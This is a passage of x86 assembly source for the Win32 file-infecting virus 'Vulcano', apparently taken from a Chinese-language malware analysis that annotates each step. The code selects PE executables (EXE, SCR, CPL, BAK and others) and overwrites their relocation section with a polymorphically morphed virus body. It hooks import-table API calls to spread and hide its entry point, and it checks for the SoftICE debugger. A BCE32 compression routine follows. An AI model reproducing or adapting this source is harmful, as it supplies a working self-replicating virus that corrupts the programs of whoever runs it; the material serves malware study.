  push dword ptr [ebp + hFile - mgdelta]
  mov eax, 0
ddSetFileTime = dword ptr $-4
  call eax        ;set back file time

  push_LARGE_0        ;store handle
hFile = dword ptr $-4
  call [ebp + ddCloseHandle - mgdelta]  ;close file
  
  ;将文件属性重新设置
r_attr:  push dword ptr [ebp + data_buffer - mgdelta]
  lea esi, [ebp + data_buffer.WFD_szFileName - mgdelta]
  push esi        ;filename
  call [ebp + ddSetFileAttributesA - mgdelta]  ;set back file attributes
  jmp c_error        ;and quit

;; 这里是感染的开始,ecx保存的是宿主文件的在内存的映射地址-pMem
nOpen:  mov ebx, ecx
  cmp word ptr [ebx], IMAGE_DOS_SIGNATURE  ;must be MZ
  jne endMapFile
  mov esi, [ebx.MZ_lfanew]
  add esi, ebx
  lodsd
  cmp eax, IMAGE_NT_SIGNATURE    ;must be PE\0\0
  jne endMapFile
  cmp word ptr [esi.FH_Machine], IMAGE_FILE_MACHINE_I386  ;must be 386+
  jne endMapFile
  mov ax, [esi.FH_Characteristics]
  test ax, IMAGE_FILE_EXECUTABLE_IMAGE  ;must be executable
  je endMapFile
  test ax, IMAGE_FILE_DLL      ;mustnt be DLL
  jne endMapFile
  test ax, IMAGE_FILE_SYSTEM    ;mustnt be system file
  jne endMapFile
  mov al, byte ptr [esi.OH_Subsystem]
  test al, IMAGE_SUBSYSTEM_NATIVE    ;and mustnt be driver (thanx GriYo !)
  jne endMapFile
  
  ;; 最少是两个节,才感染
  movzx ecx, word ptr [esi.FH_NumberOfSections]  ;must be more than one section
  dec ecx
  test ecx, ecx
  je endMapFile
  imul eax, ecx, IMAGE_SIZEOF_SECTION_HEADER
  movzx edx, word ptr [esi.FH_SizeOfOptionalHeader]
  lea edi, [eax+edx+IMAGE_SIZEOF_FILE_HEADER]
  ;; edi为当前最后一节的节表
  add edi, esi        ;get to section header

  ;; 如果没有重定义节则不感染
  lea edx, [esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress-4]
  mov eax, [edx]
  test eax, eax
  je endMapFile        ;quit if no relocs
  ;; 如果有重定位节则判断重定位节是不是处于最后一节,如果不是则退出
  mov ecx, [edi.SH_VirtualAddress]
  cmp ecx, eax
  jne endMapFile        ;is it .reloc section?
  ;; 如果重定位节处于最后一节,则判断它的文件对齐大小是否小于1a00h
  ;; 大于等于则退出
  cmp [edi.SH_SizeOfRawData], 1a00h
  jb endMapFile        ;check if .reloc is big enough
  
  ;; 清除重定位表在数据目录的记录
  pushad
  xor eax, eax
  mov edi, edx
  stosd          ;erase .reloc records
  stosd
  popad

  ;; ebx中存放的是pMem
  mov eax, ebx        ;now we will try to
  xor ecx, ecx        ;patch
it_patch:
  pushad          ;one API call
  ;; 获取要打补丁函数的CRC32值
  mov edx, dword ptr [ebp + crcpAPIs + ecx*4 - mgdelta]  ;get CRC32
  test edx, edx
  jne c_patch
  popad
  jmp end_patch        ;quit if end of record
;; 开始设置模糊入口点EPO
;; 因为Vulcano是写在重定位节上面,所以这里将重定位节的RVA
;; 设置到一个要进行HOOK的函数上,这些函数存放在表crcpAPIs
;; 中都是些应用程序经常使用的API.
c_patch:push dword ptr [edi.SH_VirtualAddress]  ;patch address
  push edx        ;CRC32
  mov [ebp + r2rp - mgdelta], eax    ;infection stage
  call PatchIT        ;try to patch API call
  mov [esp.Pushad_edx], eax    ;save address
  test eax, eax
  ;; 只要有一个函数被补丁成功则跳出
  popad          ;此时edx为被补丁函数的地址
  jne end_patch        ;quit if we got address
  inc ecx
  jmp it_patch        ;API call not found, try another API

;; 完成了对重定位表的补丁,写入病毒到宿主
end_patch:
  ;; eax新的函数的地址
  mov eax, edx
  mov edx, [esi.NT_OptionalHeader.OH_ImageBase-4]  ;get Image base
  ;; 再这里将被感染程序的ImageBase写入到初始化标签
  mov [ebp + compressed + (ImgBase-decompressed) - mgdelta], edx  ;save it
  lea edx, [ebp + compressed + (ddAPI-decompressed) - mgdelta]
  push dword ptr [edx]        ;store prev. API call
  mov [edx], eax          ;save new one
  pushad            ;store all registers
  lea esi, [ebp + compressed+(VulcanoInit-decompressed) - mgdelta]
  mov edi, [edi.SH_PointerToRawData]
  ;; 这里把原先宿主程序的重定位节进行覆盖,病毒替换了原先的重定位节
  add edi, ebx        ;where to write body
  ;; 这里是要变形的长度
  mov ecx, (decompressed-VulcanoInit+3)/4  ;size of virus body
  call BPE32        ;write morphed body to file!
  ;; eax中为变形后的长度
  mov [esp.Pushad_eax], eax    ;save size
  popad
  pop dword ptr [edx]      ;restore API call
  ;; 修改节属性为可读可写可执行
  or dword ptr [edi.SH_Characteristics], IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
            ;set flags
  ;; 修改大小
  lea ecx, [edi.SH_VirtualSize]    ;get virtual size
  add [ecx], eax        ;correct it
  mov ecx, [esi.NT_OptionalHeader.OH_FileAlignment-4]
  xor edx, edx
  div ecx
  inc eax
  mul ecx
  mov edx, [edi.SH_SizeOfRawData]
  mov [edi.SH_SizeOfRawData], eax    ;align SizeOfRawData
  ;; 此节是初始化数据,如果是则重新设置
  test dword ptr [edi.SH_Characteristics], IMAGE_SCN_CNT_INITIALIZED_DATA
  je rs_ok
  sub eax, edx
  add [esi.NT_OptionalHeader.OH_SizeOfInitializedData-4], eax
            ;update next field, if needed
rs_ok:  mov eax, [edi.SH_VirtualAddress]
  add eax, [edi.SH_VirtualSize]
  xor edx, edx
  mov ecx, [esi.NT_OptionalHeader.OH_SectionAlignment-4]
  div ecx
  inc eax
  mul ecx
  ;; 设置SizeOfImage
  mov [esi.NT_OptionalHeader.OH_SizeOfImage-4], eax  ;new SizeOfImage
  jmp endMapFile      ;everything is ok, we can quit

;; 此函数用于检测当前目标文件的大小,后缀名等是否符合感染条件
CheckFile:
  pushad
  mov ebx, esi
  test [ebx.WFD_dwFileAttributes], FILE_ATTRIBUTE_DIRECTORY
  jne c_error        ;discard directory entries
  xor ecx, ecx
  cmp [ebx.WFD_nFileSizeHigh], ecx  ;discard files >4GB
  jne c_error
  mov edi, [ebx.WFD_nFileSizeLow]
  cmp edi, 4000h        ;discard small files
  jb c_error

  lea esi, [ebx.WFD_szFileName]    ;get filename
  push esi
endf:  lodsb
  cmp al, '.'        ;search for dot
  jne endf  
  dec esi
  lodsd          ;get filename extension
  or eax, 20202020h      ;make it lowercase
  not eax          ;mask it
  pop esi
  cmp eax, not 'exe.'      ;is it EXE?
  je extOK
  cmp eax, not 'rcs.'      ;is it SCR?
  je extOK
  cmp eax, not 'xfs.'      ;is it SFX?
  je extOK
  cmp eax, not 'lpc.'      ;is it CPL?
  je extOK
  cmp eax, not 'tad.'      ;is it DAT?
  je extOK
  cmp eax, not 'kab.'      ;is it BAK?
  je extOK
  xor ecx, ecx
  inc ecx
c_error:mov [esp.Pushad_ecx], ecx    ;save result
  popad
  ret
;; 如果是可以感染的文件则设置它的文件属性为normal file
extOK:  push FILE_ATTRIBUTE_NORMAL    ;normal file
  push esi        ;filename
  mov eax, 0
ddSetFileAttributesA = dword ptr $-4
  call eax        ;blank file attributes
  xchg eax, ecx
  jmp c_error

;; 设置VLCB信号
;; 输入:ECX:0则为设置数据并且等待,反之则为等待获取请求
;;      ESI:指向数据缓冲,如果ECX不等于0
;;  EBX:请求的ID号
;;  EDX:如果是随机线程则为-1,其余的则为线程号
;; 输出:ECX:如果是输出入则ECX不等于,否则则为请求ID号
;;      如果出错为-1
;;      EDX:如果ECX!=0,否则为线程号
;;      ESI:指向要设置的数据,如果输入ECX=0
get_set_VLCB:    ;get/set VLCB records procedure (IPC)
      ;input:  ECX    -  0=set/wait else wait/get
      ;  ESI    -  pointer to data, if ECX!=0
      ;  EBX    -  ID number of request
      ;  EDX    -  -1, if random thread, otherwise
      ;      -  number of thread.
      ;output:ECX    -  if input ECX!=0, ECX=ID
      ;      -  if error, ECX=-1
      ;  EDX    -  if ECX!=0, number of thread
      ;  ESI    -  ptr to data, if input ECX=0
  mov edi, 0
vlcbBase = dword ptr $-4
  inc edx
  je t_rnd        ;get random record
  dec edx
  imul eax, edx, VLCB_TSize-8
  add edi, eax
  jecxz sw_VLCB
  cmp dword ptr [edi.VLCB_TSep.VLCB_THandle], 0
  je qq
  call w_wait        ;wait for free mutex
  pushad
  xchg esi, edi
  lea esi, [esi.VLCB_TSep.VLCB_TData]
  mov ecx, (VLCB_TSize-8)/4
  rep movsd        ;copy data
  popad
  mov ecx, [edi.VLCB_TSep.VLCB_TID]  ;get ID
  push ecx
  call r_mutex        ;release mutex
  pop ecx
  ret          ;and quit
t_next:  add edi, VLCB_TSize-8      ;move to next record
  inc edx
  loop tsrch
qqq:  pop ecx
qq:  xor ecx, ecx
  dec ecx
  ret
t_rnd:  push ecx        ;pass thru 20 records
  push 20
  pop ecx
  xor edx, edx
tsrch:  cmp dword ptr [edi.VLCB_TSep.VLCB_THandle], 0
  je t_next        ;check if its free
  pop ecx
sw_VLCB:call w_wait        ;wait for free mutex
  pushad
  lea edi, [edi.VLCB_TSep.VLCB_TData]
  mov ecx, (VLCB_TSize-8)/4
  rep movsd        ;copy data
  popad
  mov [edi.VLCB_TSep.VLCB_TID], ebx
  pushad
  lea esi, [edi.VLCB_TSep.VLCB_TData.WFD_szAlternateFileName]
  mov ebp, [esi]        ;get result
  call r_mutex        ;signalize mutex
slp:  call sleep        ;switch to next thread
  cmp [esi], ebp        ;check for change
  je slp          ;no change, wait
  popad
  xor ecx, ecx
  ret          ;quit
w_wait:  call open_mutex        ;open mutex
  push eax
  push 10000        ;wait 10 seconds
  push eax
  mov eax, 0
ddWaitForSingleObject = dword ptr $-4
  call eax
  test eax, eax
  pop eax
  jne qqq          ;quit if not signalized
  call close_mutex      ;close mutex
  ret          ;and quit
open_mutex:
  lea eax, [edi.VLCB_TSep.VLCB_THandle]  ;name of mutex
  push eax
  push 0
  push 0f0000h or 100000h or 1    ;access flags
  mov eax, 0
ddOpenMutexA = dword ptr $-4      ;open mutex
  call eax
  ret
r_mutex:call open_mutex        ;open mutex
  push eax
  push eax
  mov eax, 0
ddReleaseMutex = dword ptr $-4
  call eax        ;singalize mutex
  pop eax
close_mutex:
  push eax
  mov eax, 0
ddCloseHandle = dword ptr $-4
  call eax        ;close mutex
  ret
sleep:  push 0          ;switch to next thread
  mov eax, 0
ddSleep = dword ptr $-4
  call eax        ;switch!
  ret

;; 检查并且感染
Check&Infect:
  pushad
  mov esi, ebx        ;get ptr to data
  pushad
  call vlcb_stuph        ;common stuph
  mov ebx, VLCB_Check      ;check only
  call get_set_VLCB      ;IPC!
  inc ecx
  popad
  je _ret_        ;quit if error
  mov eax, dword ptr [esi.WFD_szAlternateFileName]
  dec eax
  test eax, eax
  je _ret_
sc1_ok:  call vlcb_stuph        ;common stuph
  mov ebx, VLCB_Infect      ;check and infect
  call get_set_VLCB      ;IPC!
_ret_:  popad
  ret

;; 计算CRC32值
;; CRC32的算法在这里就不做分析了
CRC32:  push ecx        ;procedure to calculate  CRC32
  push edx
  push ebx       
        xor ecx, ecx   
        dec ecx        
        mov edx, ecx   
NextByteCRC:           
        xor eax, eax   
        xor ebx, ebx   
        lodsb          
        xor al, cl     
  mov cl, ch
  mov ch, dl
  mov dl, dh
  mov dh, 8
NextBitCRC:
  shr bx, 1
  rcr ax, 1
  jnc NoCRC
  xor ax, 08320h
  xor bx, 0edb8h
NoCRC:  dec dh
  jnz NextBitCRC
  xor ecx, eax
  xor edx, ebx
        dec edi
  jne NextByteCRC
  not edx
  not ecx
  pop ebx
  mov eax, edx
  rol eax, 16
  mov ax, cx
  pop edx
  pop ecx
  ret

;; 搜索引出表
SearchET:    ;procedure for recieving API names from Export table
  pushad          ;save all registers
  @SEH_SetupFrame <jmp address_not_found>  ;setup SEH frame
  mov edi, [eax.MZ_lfanew]    ;get ptr to PE header
  add edi, eax        ;make pointer raw
  mov ecx, [edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size]
  jecxz address_not_found      ;quit, if no exports
  mov ebx, eax
  add ebx, [edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
  mov edx, eax        ;get RVA to Export table
  add edx, [ebx.ED_AddressOfNames]  ;offset to names
  mov ecx, [ebx.ED_NumberOfNames]    ;number of name
  mov edi, esi
  push edi
  xchg eax, ebp
  xor eax, eax
APIname:push eax
  mov esi, ebp
  add esi, [edx+eax*4]      ;get to API name
  push esi
  @endsz          ;get to the end of API name
  sub esi, [esp]        ;get size of API name
  mov edi, esi        ;to EDI
  pop esi          ;restore ptr to API name
  call CRC32        ;get its CRC32
  mov edi, [esp+4]      ;get requested CRC32
  cmp eax, [edi]        ;is it same
  pop eax
  je mcrc          ;yeah
nchar:  inc eax          ;no, increment counter
  loop APIname        ;and get next API name
  pop eax          ;clean stack
address_not_found:
  xor eax, eax        ;and quit
  jmp endGPA
mcrc:  pop edx
  mov edx, ebp
  add edx, [ebx.ED_AddressOfOrdinals]  ;skip over ordinals
  movzx eax, word ptr [edx+eax*2]
  cmp eax, [ebx.ED_NumberOfFunctions]
  jae address_not_found
  mov edx, ebp
  add edx, [ebx.ED_AddressOfFunctions]  ;get start of function addresses
  add ebp, [edx+eax*4]      ;make it pointer to our API
  xchg eax, ebp        ;address to EAX
endGPA:  @SEH_RemoveFrame      ;remove SEH frame
  mov [esp.Pushad_eax], eax    ;store address
  popad          ;restore all registers
  ret          ;and quit

;; 计算对齐
a_go:  inc esi          ;jump over alignments
  inc esi
  pushad          ;store all registers
  xor edx, edx        ;zero EDX
  xchg eax, esi
  push 2
  pop ecx
  div ecx
  test edx, edx
  je end_align        ;no alignments needed
  inc eax          ;align API name
end_align:
  mul ecx
  mov [esp.Pushad_esi], eax
  popad          ;restore all registers
  ret

;; 对指定的函数进行引入表的HOOK
PatchIT  Proc          ;procedure for patching API calls
  pushad          ;store all registers
  @SEH_SetupFrame <jmp endPIT>    ;setup SEH frame
  call itDlta
itDelta:db  0b8h
itDlta:  pop ebp
  mov [ebp + gmh - itDelta], eax    ;save it
  mov ebx, [eax.MZ_lfanew]    ;get to PE header
  add ebx, eax        ;make pointer raw
  push dword ptr [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress]
  call rva2raw
  pop edx
  sub edx, IMAGE_SIZEOF_IMPORT_DESCRIPTOR
  push edi
n_dll:  pop edi
  add edx, IMAGE_SIZEOF_IMPORT_DESCRIPTOR
  lea edi, [ebp + szK32 - itDelta]  ;get Kernel32 name
  mov esi, [edx]
  test esi, esi
  je endPIT
sdll:  push dword ptr [edx.ID_Name]
  call rva2raw
  pop esi
  push edi
  cmpsd          ;is it K32?
  jne n_dll
  cmpsd
  jne n_dll
  cmpsd
  jne n_dll
  pop edi
  xor ecx, ecx        ;zero counter
  push dword ptr [edx.ID_OriginalFirstThunk]  ;get first record
  call rva2raw
  pop esi
  push dword ptr [esi]      ;get first API name
  call rva2raw
  pop esi
pit_align:
  call a_go
  push esi        ;store pointer
  @endsz          ;get to the end of API name
  mov edi, esi
  sub edi, [esp]        ;move size of API name to EDI
  pop esi          ;restore pointer
  push eax        ;store EAX
  call CRC32        ;calculate CRC32 of API name
  cmp eax, [esp.cPushad+10h]    ;check, if it is requested API
  je a_ok          ;yeah, it is
  inc ecx
  mov eax, [esi]        ;check, if there is next API
  test eax, eax        ;...
  pop eax          ;restore EAX
  jne pit_align        ;yeah, check it
  jmp endPIT        ;no, quit
a_ok:  pop eax          ;restore EAX
  push dword ptr [edx.ID_FirstThunk]  ;get address to IAT
  call rva2raw
  pop edx
  mov eax, [edx+ecx*4]      ;get address
  mov [esp.Pushad_eax+8], eax    ;and save it to stack
  pushad          ;store all registers
  mov eax, 0        ;get base address of program
gmh = dword ptr $-4
  mov ebx, [eax.MZ_lfanew]
  add ebx, eax        ;get PE header

  push dword ptr [ebx.NT_OptionalHeader.OH_BaseOfCode]  ;get base of code
  call rva2raw        ;normalize
  pop esi          ;to ESI
  mov ecx, [ebx.NT_OptionalHeader.OH_SizeOfCode]  ;and its size
  pushad
  call p_var
  dd  ?
p_var:  push PAGE_EXECUTE_READWRITE
  push ecx
  push esi
  mov eax, 0
ddVirtualProtect = dword ptr $-4
  call eax        ;set writable right
  test eax, eax
  popad
  je endPIT
sJMP:  mov dl, [esi]        ;get byte from code
  inc esi
  cmp dl, 0ffh        ;is it JMP/CALL?
  jne lJMP                    ;check, if it is          
  cmp byte ptr [esi], 25h                 ;JMP DWORD PTR [XXXXXXXXh]
  je gIT1                                                            
  cmp byte ptr [esi], 15h      ;or CALL DWORD PTR [XXXXXXXXh]
  jne lJMP
  mov dl, 0e8h
  jmp gIT2
gIT1:  mov dl, 0e9h
gIT2:  mov [ebp + j_or_c - itDelta], dl  ;change opcode
  mov edi, [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress]
  add edi, [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_Size]
  push ecx
  mov ecx, [ebx.NT_OptionalHeader.OH_ImageBase]
  add edi, ecx
  push ebp
  mov ebp, [esi+1]
  sub ebp, ecx
  push ebp
  call rva2raw
  pop ebp
  sub ebp, eax
  add ebp, ecx
  sub edi, ebp
  pop ebp
  pop ecx
  js lJMP          ;check, if it is correct address
  push ecx
  push edx        ;store EDX
  mov edx, [esp.Pushad_ecx+8]    ;get counter
  imul edx, 4        ;multiply it by 4
  add edx, [esp.Pushad_edx+8]    ;add address to IAT to ptr
  sub edx, eax
  mov ecx, [esi+1]
  sub ecx, [ebx.NT_OptionalHeader.OH_ImageBase]
  push ecx
  call rva2raw
  pop ecx
  sub ecx, eax
  cmp edx, ecx        ;is it current address
  pop edx
  pop ecx          ;restore EDX
  jne sJMP        ;no, get next address
  mov eax, [esi+1]
  mov [esp.cPushad.Pushad_eax+8], eax  ;store register to stack
  mov [esp.Pushad_esi], esi    ;for l8r use
  popad          ;restore all registers

  mov byte ptr [esi-1], 0e9h    ;build JMP or CALL
j_or_c = byte ptr $-1
  mov ebx, [esi+1]
  mov eax, [esp.cPushad+10h]    ;get address
  add eax, [ebp + gmh - itDelta]
  sub eax, esi        ;- current address
  sub eax, 4        ;+1-5
  mov [esi], eax        ;store built jmp instruction
  mov byte ptr [esi+4], 90h
  xchg eax, ebx
  jmp endIT        ;and quit
lJMP:  dec ecx
  jecxz endPIT-1
  jmp sJMP        ;search in a loop
  popad          ;restore all registers
endPIT:  xor eax, eax
  mov [esp.Pushad_eax+8], eax
endIT:  @SEH_RemoveFrame      ;remove SEH frame
  popad          ;restore all registers
  ret 8          ;and quit
PatchIT  EndP

;; 将内存偏移转换为文件偏移
rva2raw:pushad      ;procedure for converting RVAs to RAW pointers
  mov ecx, 0        ;0 if actual program
r2rp = dword ptr $-4
  jecxz nr2r
  mov edx, [esp.cPushad+4]    ;no comments needed :)
  movzx ecx, word ptr [ebx.NT_FileHeader.FH_NumberOfSections]
  movzx esi, word ptr [ebx.NT_FileHeader.FH_SizeOfOptionalHeader]
  lea esi, [esi+ebx+IMAGE_SIZEOF_FILE_HEADER+4]
n_r2r:  mov edi, [esi.SH_VirtualAddress]
  add edi, [esi.SH_VirtualSize]
  cmp edx, edi
  jb c_r2r
  add esi, IMAGE_SIZEOF_SECTION_HEADER
  loop n_r2r
  popad
  ret
nr2r:  add [esp.cPushad+4], eax
  popad
  ret
c_r2r:  add eax, [esi.SH_PointerToRawData]
  add eax, edx
  sub eax, [esi.SH_VirtualAddress]
  mov [esp.cPushad+4], eax
  popad
  ret

;; 这条线程为了HOOK当前程序引入表
NewThread:          ;thread starts here
  pushad          ;store all registers
  ;; 发生异常则跳入到q_hook标签
  @SEH_SetupFrame <jmp q_hook>
  ;; 获取API偏移地址表的地址
  mov ebp, [esp+2ch]      ;get delta parameter
  xor ecx, ecx        ;zero ECX
  ;; 将要转换的偏移亲0,这是一个自修改代码,再后面的地址转换
  ;; 函数中可以看到它要修改的地方
  and dword ptr [ebp + r2rp - gdelta], 0
  ;; eax中保存着新函数地址的偏移表
g_hook:  mov eax, [ebp + newHookers + ecx*4 - gdelta]  ;take address to hooker
  test eax, eax        ;is it 0?
  ;; 如果为0则退出
  je q_hook        ;yeah, quit
  ;; eax中为新的函数的地址
  add eax, ebp
  ;; eax中为此到当前宿主应用程序ImageBase的偏移,GMHA处存放着应用程序的加载地址
  sub eax, [ebp + GMHA - gdelta]
  ;; 将新函数偏移将要HOOK的API名字表地址一同压力堆栈
  push eax        ;store address
  push dword ptr [ebp + crchAPIs + ecx*4 - gdelta]  ;store CRC32
  ;; HOOK引入表eax中将返回原始API的地址
  mov eax, 0
GMHA = dword ptr $-4
  call PatchIT        ;and patch Import Table
  mov esi, [ebp + oldHookers + ecx*4 - gdelta]
  add esi, ebp
  mov [esi], eax        ;save old hooker
  inc ecx          ;increment counter
  jmp g_hook        ;loop
q_hook:  @SEH_RemoveFrame
  popad          ;restore all registers
  ret          ;and terminate thread

;; BPE32变形引擎
include BPE32.asm


szK32      db  'KERNEL32.dll',0  ;name of DLL
sice95      db  '\\.\SICE',0    ;SoftICE/95/98
siceNT      db  '\\.\NTICE',0    ;SoftICE/NT
;APIs needed at run-time
crcAPIs      dd  0AE17EBEFh    ;FindFirstFileA
      dd  0AA700106h    ;FindNextFileA
      dd  0C200BE21h    ;FindClose
      dd  03C19E536h    ;SetFileAttributesA
      dd  04B2A3E7Dh    ;SetFileTime
      dd  08C892DDFh    ;CreateFileA
      dd  096B2D96Ch    ;CreateFileMappingA
      dd  0797B49ECh    ;MapViewOfFile
      dd  094524B42h    ;UnmapViewOfFile
      dd  019F33607h    ;CreateThread
      dd  0D4540229h    ;WaitForSingleObject
      dd  068624A9Dh    ;CloseHandle
      dd  020B943E7h    ;CreateMutexA
      dd  0C449CF4Eh    ;ReleaseMutex
      dd  0C6F22166h    ;OpenMutexA
      dd  00AC136BAh    ;Sleep
      dd  079C3D4BBh    ;VirtualProtect
      dd  0EB1CE85Ch    ;GetCurrentProcessId
      dd  033D350C4h    ;OpenProcess
      dd  041A050AFh    ;TerminateProcess
      dd  04134D1ADh    ;LoadLibraryA
      dd  0FFC97C1Fh    ;GetProcAddress
      dd  0AFDF191Fh    ;FreeLibrary

;APIs to hook
crchAPIs    dd  0AE17EBEFh    ;FindFirstFileA
      dd  0AA700106h    ;FindNextFileA
      dd  05BD05DB1h    ;CopyFileA
      dd  0953F2B64h    ;CopyFileExA
      dd  08C892DDFh    ;CreateFileA
      dd  0267E0B05h    ;CreateProcessA
      dd  0DE256FDEh    ;DeleteFileA
      dd  0C633D3DEh    ;GetFileAttributesA
      dd  08F48B20Dh    ;GetFullPathNameA
      dd  0F2F886E3h    ;_lopen
      dd  02308923Fh    ;MoveFileA
      dd  03BE43958h    ;MoveFileExA
      dd  068D8FC46h    ;OpenFile
      dd  03C19E536h    ;SetFileAttributesA
      dd  028452C4Fh    ;WinExec
      dd  040F57181h    ;ExitProcess
      dd  0058F9201h    ;ExitThread
      dd  087D52C94h    ;GetLastError
      dd  068624A9Dh    ;CloseHandle

;APIs to patch
crcpAPIs    dd  0E141042Ah    ;GetProcessHeap
      dd  042F13D06h    ;GetVersion
      dd  0DE5C074Ch    ;GetVersionEx
      dd  052CA6A8Dh    ;GetStartupInfoA
      dd  04E52DF5Ah    ;GetStartupInfoW
             dd  03921BF03h    ;GetCommandLineA
      dd  025B90AD4h    ;GetCommandLineW
      dd  003690E66h    ;GetCurrentProcess
      dd  019F33607h    ;CreateThread
      dd  082B618D4h    ;GetModuleHandleA
      dd  09E2EAD03h    ;GetModuleHandleW
      dd  ?
virus_end:            ;end of virus in host

tmp      dd  ?      ;temporary variable
      org tmp        ;overlay
WFD    WIN32_FIND_DATA ?      ;Win32 Find Data
WFD2    WIN32_FIND_DATA ?      ;Win32 Find Data
data_buffer    db  256 dup (?)    ;buffer for VLCB_TData
size_unint = $ - virus_end        ;size of unitialized
              ;variables

;used only by first generation of virus
workspace1    db  16 dup (?)    ;usd by compression
workspace2    db  16 dup (?)    ;engine
_GetModuleHandleA  dd  offset GetModuleHandleA
ends              ;end of code section
End first_gen            ;end of virus
4.BCE32压缩模块分析
BCE32压缩函数
esi中存放着要加压的部分指针
edi中存放着要写入的缓冲指针
ecx为要加压的长度
ebx,edx是两个16字节的临时缓冲的基地址
代码:
;Compression routine from BCE32 starts here. This is used only in first gen.
;; BCE32压缩函数
BCE32_Compress  Proc
  ;; 保存所有寄存器
  pushad          ;save all regs
;stage 1
  ;; 再保存一次
  pushad          ;and again
  ;; 创建表,这里创建的表的算法是这样的
  ;; 利用ebx指向的表(4*4)的一个DWORD表
  ;; 读取一个BYTE,测试它中间每两位为一组
  ;; 是否为 00 01 10 11 如果是则在相应表的
  ;; 位置增1,形成所有要压缩数据的一个BIT记录
create_table:
  ;; 保存ecx
  push ecx        ;save for l8r usage
  ;; ecx = 4,这里是为了做运算使用
  push 4
  pop ecx          ;ECX = 4
  ;; 读取一个要压缩的字节到al
  lodsb          ;load byte to AL
  ;; 保存它
l_table:push eax        ;save it
  ;; edx = 0
  xor edx, edx        ;EDX = 0
  ;; 测试位11
  and al, 3        ;this stuff will separate and test
  je st_end        ;bit groups
  ;; 测试位10
  cmp al, 2
  je st2
  ;; 测试为al时候等于3
  cmp al, 3
  je st3
st1:  inc edx          ;01
  jmp st_end
st2:  inc edx          ;10
  inc edx
  jmp st_end
st3:  mov dl, 3        ;11
st_end:  inc dword ptr [ebx+4*edx]    ;increment count in table
  pop eax
  ;; 测试下两个bit
  ror al, 2        ;next bit group
  loop l_table
  pop ecx          ;restore number of bytes
  loop create_table      ;next byte
  
  ;; 以下循环测试以上形成的位记录表
  ;; 这个阶段为了使每个计数的位组计数
  ;; 都不一样,相差为1
  ;; ecx = 4
  push 4          ;this will check for same numbers
  pop ecx          ;ECX = 4
  ;; edx = 0
re_t:  cdq          ;EDX = 0
  ;; 读取当前位组的计数
t_loop:  mov eax, [ebx+4*edx]      ;load DWORD
  ;; 自增当前位组的计数
  inc dword ptr [ebx+4*edx]    ;increment it
  ;; 测试当前位组的计数是否与其他组
  ;; 的计数一样.如果一样则当前位组增1
  cmp eax, [ebx]        ;test for same numbers
  je _inc_        ;...
  cmp eax, [ebx+4]      ;...
  je _inc_        ;...
  cmp eax, [ebx+8]      ;...
  je _inc_        ;...
  cmp eax, [ebx+12]      ;...
  jne ninc_        ;...
  ;; 当前位组计数增1
_inc_:  inc dword ptr [ebx+4*edx]    ;same, increment it
  ;; 增加循环计数.直到当前位组的计数与
  ;; 其他组的计数不一样为止
  inc ecx          ;increment counter (check it in next turn)
  ;; 这里查看时候超出数组的边界
ninc_:  cmp dl, 3        ;table overflow ?
  je re_t          ;yeah, once again
  ;; 移动到下一个位组
  inc edx          ;increment offset to table
  loop t_loop        ;loop
  ;; 恢复所有寄存器
  popad          ;restore regs

;stage 2
;; 这里进行对位组的泡沫排序,并将排序结构放入第二
;; 个表中
  ;; 保存所有寄存器
  pushad          ;save all regs
  ;; 计数表的基址设置给esi
  mov esi, ebx        ;get pointer to table
  ;; ebx = 3
  push 3
  pop ebx          ;EBX = 3
  ;; ecx = 3
  mov ecx, ebx        ;ECX = 3
  ;; 这里对计数数组进行泡沫排序,以降序排列
  ;; 由于只有4个字节所以循环3次
rep_sort:          ;bubble sort = the biggest value will
            ;always "bubble up", so we know number
            ;steps
  ;; 保存ecx
  push ecx        ;save it

  mov ecx, ebx        ;set pointerz
  ;; edi指向第二个(4*4)的表
  mov edi, edx        ;...
  ;; 保存 第二个(4*4)的表地址
  push edx        ;save it
  ;; 从位组计数表中读取一个DWORD
  lodsd          ;load DWORD (count)
  ;; 保存这个DWORD到edx
  mov edx, eax        ;save it
  ;; 读取下一个
sort:  lodsd          ;load next
  ;; 做比较
  cmp eax, edx        ;is it bigger
  ;; 如果后者小于前者,则不交换.
  ;; 这里是按照降序排列
  jb noswap        ;no, store it
  ;; 如果后者大于前者,则交换他们的值
  xchg eax, edx        ;yeah, swap DWORDs
  ;; 重新写入
noswap:  stosd          ;store it
  ;; 下个DWORD,循环这个过程
  loop sort        ;next DWORD
  ;; 内层循环结束,这里到了外层循环,进行下个DWORD的对比
  mov eax, edx        ;biggest in EDX, swap it
  stosd          ;and store
  lea esi, [edi-16]      ;get back pointer
  pop edx          ;restore regs
  pop ecx
  loop rep_sort        ;and try next DWORD
  popad
  ;; --- 泡沫排序结束 ---

;stage 3
;; 这个步骤用来生成加密密钥
;; 算法为轮询整个数组,找到与之
;; 对应的索引号于密钥的初值相加
;; 然后在循环左移2位
;; 最后将密钥存入ebx中
  ;; 保存所有的寄存器
  pushad          ;save all regs
  ;; eax = 0
  xor eax, eax        ;EAX = 0
  push eax        ;save it
  ;; ecx = 4,设置循环计数
  push 4
  pop ecx          ;ECX = 4
n_search:
  ;; 保存第二个表的基址和循环计数
  push edx        ;save regs
  push ecx
  ;; esi指向未排序的位组计数
  lea esi, [ebx+4*eax]      ;get pointer to table
  push eax        ;store reg
  ;; 读取一个DWORD
  lodsd          ;load DWORD to EAX
  ;; ecx = 3
  push 3
  pop ecx          ;ECX = 3
  ;; edi = 3
  mov edi, ecx        ;set pointerz
  ;; esi指向排序过后的计数组
search:  mov esi, edx
  ;; 保存eax
  push eax        ;save it
  ;; 读取一个DWORD
  lodsd          ;load next
  ;; 交换排序后的计数组的值到ebp
  mov ebp, eax
  ;; 恢复eax到原先的技术组的值
  pop eax
  ;; ebp保存为排序后数组的值
  ;; eax保存为未排序数组的值
  cmp eax, ebp        ;end ?
  je end_search
  ;; edi记录索引
  dec edi          ;next search
  ;; 移动到下一个指针
  add edx, 4
  ;; 跳入到下一个循环,继续查找
  loop search
end_search:
  ;; 记录循环数
  pop eax          ;and next step
  ;; 增加循环计数
  inc eax
  ;; 恢复ecx, edx
